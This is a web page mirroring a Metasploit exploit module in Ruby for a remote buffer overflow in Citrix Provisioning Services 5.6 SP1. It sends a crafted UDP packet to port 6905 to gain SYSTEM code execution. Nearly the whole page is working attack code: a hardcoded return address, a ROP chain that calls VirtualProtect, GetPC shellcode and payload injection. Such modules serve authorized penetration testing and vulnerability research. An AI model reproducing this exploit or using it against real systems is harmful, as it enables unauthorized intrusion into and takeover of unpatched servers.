Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020006 Buffer Overflow',13'Description' => %q{14This module exploits a remote buffer overflow in the Citrix Provisioning Services155.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode160x40020006 (GetObjetsRequest) to the 6905/UDP port. The module, which allows code execution17under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP218and Windows XP SP3.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability Discovery24'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author25'juan vazquez' # Metasploit module26],27'References' =>28[29['OSVDB', '75780'],30['BID', '49803'],31['URL', 'http://support.citrix.com/article/CTX130846'],32['ZDI', '12-010']33],34'DefaultOptions' =>35{36'EXITFUNC' => 'process',37'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',38},39'Payload' =>40{41'BadChars' => "\x00",42'EncoderOptions' => {'BufferRegister'=>'ECX'},43},44'Platform' => ['win'],45'Targets' =>46[47[ 'Citrix Provisioning Services 5.6 SP1',48{49'Offset' => 1500,50'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe51}52]53],54'Privileged' => true,55'DisclosureDate' => '2011-11-04', #CTX130846 creation date56'DefaultTarget' => 0))5758register_options([Opt::RPORT(6905)])59end6061def exploit6263packet = "\x06\x00\x02\x40" # DATA MSG64packet << rand_text_alpha_upper(18)65packet << "\x00\x00\x00\x00"66packet << "\x00\x00\x00\x00" # Length67packet << rand_text_alpha_upper(target['Offset'])68packet << [target.ret].pack('V')6970rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe7172rop_gadgets =73[740x0045b141, # POP EAX; RETN streamprocess.exe750x1009a1bc, # VirtualProtect()760x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe770x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe780x004ad0cf, # POP EBP; RETN streamprocess.exe790x00455d9d, # PUSH ESP; RETN streamprocess.exe800x00497f5a, # POP EAX; RETN streamprocess.exe810xfffff9d0, # dwSize820x00447669, # NEG EAX; RETN streamprocess.exe830x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe840x00426305, # POP ECX; RETN streamprocess.exe850x00671fb9, # lpflOldProtect860x004e41e6, # POP EDI; RETN streamprocess.exe870x0040f004, # RETN streamprocess.exe880x00495c05, # POP EAX; RETN streamprocess.exe890xffffffc0, # flNewProtect900x0042c79a, # NEG EAX; RETN streamprocess.exe910x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe920x0045c1fa, # POP EAX; RETN streamprocess.exe930x90909090, # NOP940x00435bbe, # PUSHAD; RETN streamprocess.exe95].pack("V*")9697packet[338, rop_nop.length] = rop_nop98packet[490, rop_gadgets.length] = rop_gadgets99# Put payload address in ecx100geteip = "\xeb\x03" # jmp short 0x5101geteip << "\x59" # pop ecx102geteip << "\xff\xd1" # call ecx103geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"104packet[574, 10] = geteip105packet[584, payload.encoded.length] = payload.encoded106107print_status("Trying target #{target.name}...")108109connect_udp110udp_sock.put(packet)111112handler113disconnect_udp114end115end116117118